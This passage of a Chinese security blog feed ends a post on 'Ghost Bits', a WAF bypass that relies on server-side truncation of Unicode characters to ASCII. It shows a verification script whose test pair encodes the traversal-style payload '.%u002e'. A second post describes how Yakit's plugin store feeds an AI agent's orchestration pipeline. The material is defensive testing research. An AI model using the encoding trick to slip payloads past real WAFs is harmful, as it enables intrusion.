operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token function" style="color:#d73a49">byte</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">original</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">origBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encRunes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        truncated </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ord</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encRunes</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0xFF</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> truncated </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">int</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">origBytes</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token function" style="color:#d73a49">println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"FAIL at"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"orig="</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> origBytes</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"truncated="</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> truncated</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            ok </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> ok</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 测试示例</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">encoded </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"阮严灵丰丰甲来"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">original </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">".%u002e"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">truncateVerify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encoded</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> original</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"验证通过：所有字符截断后还原正确"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>该脚本的核心逻辑就是模拟服务端的截断行为：<code>ord(unicodeChar) &amp; 0xFF == ord(originalChar)</code>。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e589fc27478feaa9-85ef16054a402bb8d6e63d23c0a13caa.png" width="1080" height="672" class="yakdoc-image"></button></p>
<p><strong>六、总结Ghost Bits 漏洞的本质是</strong>编码层与解析层的语义差异**：WAF 在编码层看到无害的 Unicode，服务端在解析层截断还原成恶意的 ASCII。</p>
<p>本文分享的 Codec、Fuzzer 和验证脚本三个工具，希望能在检测这类漏洞时减少重复劳动、提高测试效率。Codec 插件把 Ghost Bits 编码压缩成"选中 → 右键 → 输出"的三步操作；截断验证脚本则自动确认编码结果的正确性，避免人眼比对出错。</p>
<p>需要说明的是，Fuzzer 插件中内置的场景（CVE-2025-41242、Jackson、fastjson 等）并不通用——它们借鉴了 AsiaCCS 2026 相关议题和论文中对 Ghost Bits 利用路径的分析，但每个目标的业务场景、框架版本、WAF 规则都不相同。读者可以参考其中的 payload 构造思路和场景分类方法，根据自己的实际目标修改测试脚本，而不是直接照搬运行。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/WMD3MQ-8QM8hZXtTpbxFnA" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
        </item>
        <item>
            <title><![CDATA[工程实践：Yakit 插件商店接入 AI Agent 能力编排链路]]></title>
            <link>https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store</link>
            <guid>https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store</guid>
            <pubDate>Fri, 24 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文说明 Yakit 如何把插件、AI Tool、Blueprint、Skill 与 Focus Mode 统一为 Capability，并通过意图路由、Grounding 和统一调度形成可执行的 Agent 能力闭环。]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="内容速览">内容速览<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E5%86%85%E5%AE%B9%E9%80%9F%E8%A7%88" class="hash-link" aria-label="内容速览的直接链接" title="内容速览的直接链接" translate="no">​</a></h2>
<ul>
<li class=""><strong>适用场景：</strong> 希望让安全插件被 AI Agent 搜索、选择、编排和执行的插件作者与平台维护者。</li>
<li class=""><strong>实现方法：</strong> 将插件与 Tool、Blueprint、Skill、Focus Mode 统一抽象为 Capability，再通过分层意图路由、渐进式披露、能力目录 Grounding 和统一调度器执行。</li>
<li class=""><strong>关键结论：</strong> 插件商店不只是脚本下载入口，也可以成为 Agent 的能力目录；可发现性、约束和结果验证与模型能力同样重要。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="常见问题">常见问题<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98" class="hash-link" aria-label="常见问题的直接链接" title="常见问题的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="插件接入-ai-是否需要重写一套适配代码">插件接入 AI 是否需要重写一套适配代码？<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E6%8F%92%E4%BB%B6%E6%8E%A5%E5%85%A5-ai-%E6%98%AF%E5%90%A6%E9%9C%80%E8%A6%81%E9%87%8D%E5%86%99%E4%B8%80%E5%A5%97%E9%80%82%E9%85%8D%E4%BB%A3%E7%A0%81" class="hash-link" aria-label="插件接入 AI 是否需要重写一套适配代码？的直接链接" title="插件接入 AI 是否需要重写一套适配代码？的直接链接" translate="no">​</a></h3>
<p>不需要。按照文中的流程，插件作者开启“开放给 AI 使用”并补充准确的插件描述，即可进入统一能力目录。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="系统如何降低-ai-选错插件的概率">系统如何降低 AI 选错插件的概率？<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E7%B3%BB%E7%BB%9F%E5%A6%82%E4%BD%95%E9%99%8D%E4%BD%8E-ai-%E9%80%89%E9%94%99%E6%8F%92%E4%BB%B6%E7%9A%84%E6%A6%82%E7%8E%87" class="hash-link" aria-label="系统如何降低 AI 选错插件的概率？的直接链接" title="系统如何降低 AI 选错插件的概率？的直接链接" translate="no">​</a></h3>
<p>能力会先经过意图路由和目录 Grounding，再逐层收敛候选范围；执行阶段仍由统一调度链路管理和验证。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="背景">背景<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%83%8C%E6%99%AF" class="hash-link" aria-label="背景的直接链接" title="背景的直接链接" translate="no">​</a></h2>
<p>过去如果想拓展 AI 的安全能力，通常有两种思路：</p>
<p>要么单独开发新的 AI 工具，要么通过 MCP、Skill、Forge 等机制把能力一点点挂接进去。</p>
<p>这种方式当然有效，但在工程上有几个比较明显的约束：</p>
<ul>
<li class=""><strong>生态复用差</strong>：已经沉淀在插件商店里的安全能力，不能天然被 AI 直接消费；</li>
<li class="">维护复杂度上升：随着工具、Skill、模板越来越多，能力边界会逐渐碎片化，编排逻辑也会越来越重。</li>
</ul>
<p>而 Yakit 插件商店本身已经积累了大量成熟的安全插件。如果 AI 不能直接消费这些现成能力，那么大量安全能力其实仍然停留在“人能点、AI 不能用”的阶段。</p>
<p>因此，这次更新的核心并不是“又新增了几个 AI 工具”，而是让<strong>插件商店正式进入 AI Agent 的能力编排链路</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这次升级本质上改变了什么">这次升级本质上改变了什么<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%BF%99%E6%AC%A1%E5%8D%87%E7%BA%A7%E6%9C%AC%E8%B4%A8%E4%B8%8A%E6%94%B9%E5%8F%98%E4%BA%86%E4%BB%80%E4%B9%88" class="hash-link" aria-label="这次升级本质上改变了什么的直接链接" title="这次升级本质上改变了什么的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="这次插件联动能力的关键不是把插件简单暴露给-ai而是把插件ai-toolblueprintskillfocus-mode-统一抽象成了一个更高层的capability能力集合">这次插件联动能力的关键，不是把插件简单暴露给 AI，而是把插件、AI Tool、Blueprint、Skill、Focus Mode 统一抽象成了一个更高层的<strong>Capability（能力）集合</strong>。<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%BF%99%E6%AC%A1%E6%8F%92%E4%BB%B6%E8%81%94%E5%8A%A8%E8%83%BD%E5%8A%9B%E7%9A%84%E5%85%B3%E9%94%AE%E4%B8%8D%E6%98%AF%E6%8A%8A%E6%8F%92%E4%BB%B6%E7%AE%80%E5%8D%95%E6%9A%B4%E9%9C%B2%E7%BB%99-ai%E8%80%8C%E6%98%AF%E6%8A%8A%E6%8F%92%E4%BB%B6ai-toolblueprintskillfocus-mode-%E7%BB%9F%E4%B8%80%E6%8A%BD%E8%B1%A1%E6%88%90%E4%BA%86%E4%B8%80%E4%B8%AA%E6%9B%B4%E9%AB%98%E5%B1%82%E7%9A%84capability%E8%83%BD%E5%8A%9B%E9%9B%86%E5%90%88" class="hash-link" aria-label="这次插件联动能力的关键不是把插件简单暴露给-ai而是把插件ai-toolblueprintskillfocus-mode-统一抽象成了一个更高层的capability能力集合的直接链接" title="这次插件联动能力的关键不是把插件简单暴露给-ai而是把插件ai-toolblueprintskillfocus-mode-统一抽象成了一个更高层的capability能力集合的直接链接" translate="no">​</a></h2>
<p>这意味着 AI 在执行任务时，不再是死板地绑定某个固定工具，而是会经历一条更完整的能力编排链路：</p>
<p>1.识别用户真实意图；</p>
<p>2.根据意图检索候选能力；</p>
<p>3.在候选能力中识别最相关的插件、工具、蓝图或 Skill；</p>
<p>4.按能力类型选择合适的加载与执行路径；</p>
<p>5.根据结果进行验证、补充上下文，并决定下一步动作。</p>
<p>从架构视角看，这相当于把插件商店从“可供人工点击执行的资产库”，升级成了 AI Agent 的<strong>动态能力总线（Dynamic Capability Bus）</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="能力平台总览架构图">能力平台总览架构图<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%83%BD%E5%8A%9B%E5%B9%B3%E5%8F%B0%E6%80%BB%E8%A7%88%E6%9E%B6%E6%9E%84%E5%9B%BE" class="hash-link" aria-label="能力平台总览架构图的直接链接" title="能力平台总览架构图的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="编写ai插件从脚本变成可编排能力">编写AI插件:从“脚本”变成“可编排能力”<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E7%BC%96%E5%86%99ai%E6%8F%92%E4%BB%B6%E4%BB%8E%E8%84%9A%E6%9C%AC%E5%8F%98%E6%88%90%E5%8F%AF%E7%BC%96%E6%8E%92%E8%83%BD%E5%8A%9B" class="hash-link" aria-label="编写AI插件:从“脚本”变成“可编排能力”的直接链接" title="编写AI插件:从“脚本”变成“可编排能力”的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="要让一个插件进入这条链路并不需要额外写一套复杂的-ai-适配代码只需要在插件编辑页面打开开放给ai使用开关并补充插件描述即可">要让一个插件进入这条链路，并不需要额外写一套复杂的 AI 适配代码。只需要在插件编辑页面打开**“开放给<strong>AI</strong>使用”**开关，并补充插件描述即可。<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%A6%81%E8%AE%A9%E4%B8%80%E4%B8%AA%E6%8F%92%E4%BB%B6%E8%BF%9B%E5%85%A5%E8%BF%99%E6%9D%A1%E9%93%BE%E8%B7%AF%E5%B9%B6%E4%B8%8D%E9%9C%80%E8%A6%81%E9%A2%9D%E5%A4%96%E5%86%99%E4%B8%80%E5%A5%97%E5%A4%8D%E6%9D%82%E7%9A%84-ai-%E9%80%82%E9%85%8D%E4%BB%A3%E7%A0%81%E5%8F%AA%E9%9C%80%E8%A6%81%E5%9C%A8%E6%8F%92%E4%BB%B6%E7%BC%96%E8%BE%91%E9%A1%B5%E9%9D%A2%E6%89%93%E5%BC%80%E5%BC%80%E6%94%BE%E7%BB%99ai%E4%BD%BF%E7%94%A8%E5%BC%80%E5%85%B3%E5%B9%B6%E8%A1%A5%E5%85%85%E6%8F%92%E4%BB%B6%E6%8F%8F%E8%BF%B0%E5%8D%B3%E5%8F%AF" class="hash-link" aria-label="要让一个插件进入这条链路并不需要额外写一套复杂的-ai-适配代码只需要在插件编辑页面打开开放给ai使用开关并补充插件描述即可的直接链接" title="要让一个插件进入这条链路并不需要额外写一套复杂的-ai-适配代码只需要在插件编辑页面打开开放给ai使用开关并补充插件描述即可的直接链接" translate="no">​</a></h2>
<p>这个动作背后的意义其实很大：</p>
<p>它不是在做一个简单的可见性开关，而是在为插件补一层 <strong>面向 Agent 的语义元数据（Semantic Metadata）</strong>。</p>
<p>这些元数据至少承担了三类职责：</p>
<p><strong>1.能力声明</strong>：告诉 AI 这个插件是什么、适合解决什么问题；</p>
<p><strong>2.语义召回</strong>：为后续的能力检索提供描述词、关键词和任务场景；</p>
<p><strong>3.执行提示</strong>：帮助 Agent 判断这个能力应该在什么阶段被调用。</p>
<p>也就是说，插件一旦“开放给 AI”，它就不再只是脚本仓库中的一段代码，而是被提升成一个可以被 Agent 检索、理解和调用的能力节点。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/49799137eef5b502-435424ae4485f9862c2858398ae6d754.png" width="396" height="347" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="它是怎么做到不死板的">它是怎么做到“不死板”的<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E5%AE%83%E6%98%AF%E6%80%8E%E4%B9%88%E5%81%9A%E5%88%B0%E4%B8%8D%E6%AD%BB%E6%9D%BF%E7%9A%84" class="hash-link" aria-label="它是怎么做到“不死板”的的直接链接" title="它是怎么做到“不死板”的的直接链接" translate="no">​</a></h2>
<p>如果只说“AI 可以自动调用插件”，听起来很像一个普通的函数绑定。但实际上，这套机制更像是一条带有多层决策的智能编排链路。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1分层意图路由不是所有请求都走同一条路径">1）分层意图路由：不是所有请求都走同一条路径<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#1%E5%88%86%E5%B1%82%E6%84%8F%E5%9B%BE%E8%B7%AF%E7%94%B1%E4%B8%8D%E6%98%AF%E6%89%80%E6%9C%89%E8%AF%B7%E6%B1%82%E9%83%BD%E8%B5%B0%E5%90%8C%E4%B8%80%E6%9D%A1%E8%B7%AF%E5%BE%84" class="hash-link" aria-label="1）分层意图路由：不是所有请求都走同一条路径的直接链接" title="1）分层意图路由：不是所有请求都走同一条路径的直接链接" translate="no">​</a></h3>
<p>系统并不会对每个请求都直接做深度推理，而是先做一次轻量级的输入规模判断与意图预分类。</p>
<p>对于短促、明确、目标清晰的请求，系统会优先进入快速通道：</p>
<ul>
<li class="">用规则识别简单问候、状态查询等 trivial query；</li>
<li class="">用关键词与 BM25 做轻量能力召回；</li>
<li class="">如果已经能命中明确能力，就直接进入后续执行阶段。</li>
</ul>
<p>而对于“我想做渗透测试”“帮我测一下这个站”“看看有没有弱口令”这类复合任务，系统则会升级到<strong>深度意图识别（Deep Intent Recognition）</strong> 流程。</p>
<p>在这个阶段，AI 不再只是在原句上做关键词匹配，而是会先把用户输入压缩成一组更稳定的中间语义结构，例如：</p>
<ul>
<li class=""><code>intent summary</code></li>
<li class=""><code>retrieval tags</code></li>
<li class=""><code>retrieval questions</code></li>
<li class=""><code>recommended capabilities</code></li>
</ul>
<p>这一步的价值在于：</p>
<p>用户说的是自然语言，但系统需要的是<strong>可以驱动能力检索和执行的任务语义表示</strong>。这实际上是一种典型的<strong>Hierarchical Intent Routing</strong>：先做低成本预路由，再决定是否进入更重的深层分析。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/3390a2e3c3418791-0fb8d26bb96a1e7f60c117abff558218.png" width="1080" height="1919" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2渐进式披露ai-看到的不是整个插件商店而是被逐层收敛后的能力集合">2）渐进式披露：AI 看到的不是整个插件商店，而是被逐层收敛后的能力集合<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#2%E6%B8%90%E8%BF%9B%E5%BC%8F%E6%8A%AB%E9%9C%B2ai-%E7%9C%8B%E5%88%B0%E7%9A%84%E4%B8%8D%E6%98%AF%E6%95%B4%E4%B8%AA%E6%8F%92%E4%BB%B6%E5%95%86%E5%BA%97%E8%80%8C%E6%98%AF%E8%A2%AB%E9%80%90%E5%B1%82%E6%94%B6%E6%95%9B%E5%90%8E%E7%9A%84%E8%83%BD%E5%8A%9B%E9%9B%86%E5%90%88" class="hash-link" aria-label="2）渐进式披露：AI 看到的不是整个插件商店，而是被逐层收敛后的能力集合的直接链接" title="2）渐进式披露：AI 看到的不是整个插件商店，而是被逐层收敛后的能力集合的直接链接" translate="no">​</a></h3>
<p>这套机制很重要的一点，是它没有把所有插件一次性完整暴露给模型。如果把整个平台所有插件和所有参数都直接塞进上下文，结果通常不会更智能，只会更混乱。因此这里采用了一种更适合 Agent 的策略：<strong>渐进式披露（Progressive Disclosure）</strong>。</p>
<p>能力并不是一次性全部展开，而是按阶段逐层暴露：</p>
<ul>
<li class=""><strong>先暴露元数据</strong>：只让模型看到能力名称、描述、关键词、用途；</li>
<li class=""><strong>再暴露候选集</strong>：根据用户任务，筛出最相关的一小批能力；</li>
<li class=""><strong>再做标识符校验</strong>：确认推荐的能力是真实存在且可执行的；</li>
<li class=""><strong>最后才执行</strong>：按能力类型进入 Tool / Plugin / Blueprint / Skill 的对应通道。</li>
</ul>
<p>这个设计的本质，是在控制上下文噪声，并提升 Agent 的决策密度。它让模型每一轮只面对“当前最相关的能力切片”，而不是一整张能力大表。</p>
<p>从系统设计角度看，这是一种非常典型的<strong>Capability Surface Minimization</strong> 思路：</p>
<p>在保留能力广度的同时，压缩每轮暴露给模型的能力表面积。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="3能力目录-grounding先约束再推荐降低幻觉式调用">3）能力目录 Grounding：先约束，再推荐，降低幻觉式调用<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#3%E8%83%BD%E5%8A%9B%E7%9B%AE%E5%BD%95-grounding%E5%85%88%E7%BA%A6%E6%9D%9F%E5%86%8D%E6%8E%A8%E8%8D%90%E9%99%8D%E4%BD%8E%E5%B9%BB%E8%A7%89%E5%BC%8F%E8%B0%83%E7%94%A8" class="hash-link" aria-label="3）能力目录 Grounding：先约束，再推荐，降低幻觉式调用的直接链接" title="3）能力目录 Grounding：先约束，再推荐，降低幻觉式调用的直接链接" translate="no">​</a></h3>
<p>只靠大模型做语义联想，最大的问题是它可能会“想出一个合理但不存在的能力名”。在安全场景里，这种问题尤其不能接受。</p>
<p>所以这套机制在能力检索之前，还做了一层 <strong>Capability Catalog Grounding</strong>：</p>
<ul>
<li class="">系统会先构建真实存在的能力目录；</li>
<li class="">目录里包含 Tool、Plugin、Blueprint、Skill、Focus Mode 等标识符；</li>
<li class="">AI 只能在这份目录中做匹配和推荐；</li>
<li class="">推荐完之后，还要经过一次 identifier verification，确保名字能在运行时真正解析成功。</li>
</ul>
<p>这一步非常关键。</p>
<p>它把“AI 的推荐权”限制在了“真实存在的能力集合”内部，从而显著降低了 hallucination 带来的误调度风险。</p>
<p>所以准确地说，AI 在这里不是“自由发明能力”，而是在一张受约束的能力图谱中做语义导航。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="能力目录-grounding-流程">能力目录 Grounding 流程<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E8%83%BD%E5%8A%9B%E7%9B%AE%E5%BD%95-grounding-%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="能力目录 Grounding 流程的直接链接" title="能力目录 Grounding 流程的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="4统一能力调度插件不是特例而是能力调度器中的一种">4）统一能力调度：插件不是特例，而是能力调度器中的一种<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#4%E7%BB%9F%E4%B8%80%E8%83%BD%E5%8A%9B%E8%B0%83%E5%BA%A6%E6%8F%92%E4%BB%B6%E4%B8%8D%E6%98%AF%E7%89%B9%E4%BE%8B%E8%80%8C%E6%98%AF%E8%83%BD%E5%8A%9B%E8%B0%83%E5%BA%A6%E5%99%A8%E4%B8%AD%E7%9A%84%E4%B8%80%E7%A7%8D" class="hash-link" aria-label="4）统一能力调度：插件不是特例，而是能力调度器中的一种的直接链接" title="4）统一能力调度：插件不是特例，而是能力调度器中的一种的直接链接" translate="no">​</a></h3>
<p>当候选能力被筛出来之后，系统并不会针对插件单独写一套特殊逻辑，而是进入统一的能力调度流程。</p>
<p>这一步可以理解为 <strong>Unified Capability Dispatch</strong>。</p>
<p>同一个能力标识符，在运行时可能被解析成不同类型：</p>
<ul>
<li class=""><code>tool</code></li>
<li class=""><code>plugin</code></li>
<li class=""><code>blueprint / forge</code></li>
<li class=""><code>skill</code></li>
<li class=""><code>focus mode</code></li>
</ul>
<p>不同能力类型会走不同执行路径：</p>
<ul>
<li class=""><strong>Tool / Plugin</strong> 更适合直接调用；</li>
<li class=""><strong>Blueprint / Forge</strong> 更适合承担多步骤编排和异步执行；</li>
<li class=""><strong>Skill</strong> 更像方法论与上下文加载；</li>
<li class=""><strong>Focus Mode</strong> 更像进入特定任务模式。</li>
</ul>
<p>这意味着插件联动并不是孤立功能，而是被纳入了统一能力模型。插件商店从此不再只是“插件仓库”，而是 Agent 执行系统中的一等能力源。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="5意图感知不是一次性的而是贯穿执行过程">5）意图感知不是一次性的，而是贯穿执行过程<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#5%E6%84%8F%E5%9B%BE%E6%84%9F%E7%9F%A5%E4%B8%8D%E6%98%AF%E4%B8%80%E6%AC%A1%E6%80%A7%E7%9A%84%E8%80%8C%E6%98%AF%E8%B4%AF%E7%A9%BF%E6%89%A7%E8%A1%8C%E8%BF%87%E7%A8%8B" class="hash-link" aria-label="5）意图感知不是一次性的，而是贯穿执行过程的直接链接" title="5）意图感知不是一次性的，而是贯穿执行过程的直接链接" translate="no">​</a></h3>
<p>传统自动化执行往往是：识别一次任务，然后一路跑完。但真实的安全任务不是线性的，尤其在扫描、验证、判断和回显分析之间，任务目标会不断收敛。因此这套机制里还有一层很值得一提的能力：<strong>运行时意图感知（Runtime Intent Perception）</strong>。</p>
<p>系统会在执行关键动作后、验证后、甚至在出现重复尝试或策略打转时，重新感知当前状态，生成一份简短的过程画像，例如：</p>
<ul>
<li class="">当前在做什么；</li>
<li class="">当前主题是什么；</li>
<li class="">目前命中的关键词是什么；</li>
<li class="">情况是否发生了实质变化；</li>
<li class="">下一步应该继续扩展还是收敛。</li>
</ul>
<p>这让 Agent 拥有了一种更接近“持续思考”的运行时感知能力，而不是只在任务开头聪明一次。</p>
<p>如果说前面的意图识别解决的是“<strong>起点问题</strong>”，那么这一层运行时感知解决的其实是“<strong>执行过程中是否偏航</strong>”的问题。在技术术语上，这更接近一种 <strong>Runtime Situational Awareness</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="插件为什么能被更准确地找到">插件为什么能被更准确地找到<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E6%8F%92%E4%BB%B6%E4%B8%BA%E4%BB%80%E4%B9%88%E8%83%BD%E8%A2%AB%E6%9B%B4%E5%87%86%E7%A1%AE%E5%9C%B0%E6%89%BE%E5%88%B0" class="hash-link" aria-label="插件为什么能被更准确地找到的直接链接" title="插件为什么能被更准确地找到的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="仅仅开放给-ai-还不够系统还要让插件能被搜到而且是以更接近用户自然语言的方式被搜到">仅仅开放给 AI 还不够，系统还要让插件“能被搜到”，而且是以更接近用户自然语言的方式被搜到。<a href="https://yaklang.com/blog/ai-agent-orchestration-in-yakit-plugin-store#%E4%BB%85%E4%BB%85%E5%BC%80%E6%94%BE%E7%BB%99-ai-%E8%BF%98%E4%B8%8D%E5%A4%9F%E7%B3%BB%E7%BB%9F%E8%BF%98%E8%A6%81%E8%AE%A9%E6%8F%92%E4%BB%B6%E8%83%BD%E8%A2%AB%E6%90%9C%E5%88%B0%E8%80%8C%E4%B8%94%E6%98%AF%E4%BB%A5%E6%9B%B4%E6%8E%A5%E8%BF%91%E7%94%A8%E6%88%B7%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E6%96%B9%E5%BC%8F%E8%A2%AB%E6%90%9C%E5%88%B0" class="hash-link" aria-label="仅仅开放给 AI 还不够，系统还要让插件“能被搜到”，而且是以更接近用户自然语言的方式被搜到。的直接链接" title="仅仅开放给 AI 还不够，系统还要让插件“能被搜到”，而且是以更接近用户自然语言的方式被搜到。的直接链接" translate="no">​</a></h2>
<p>所以在能力检索上，系统并不是简单做字符串精确匹配，而是综合了几种信号：</p>
<ul>
<li class=""><strong>插件名称命中</strong></li>
<li class=""><strong>描述命中</strong></li>
<li class=""><strong>关键词命中</strong></li>
<li class=""><strong>任务语义命中</strong></li>
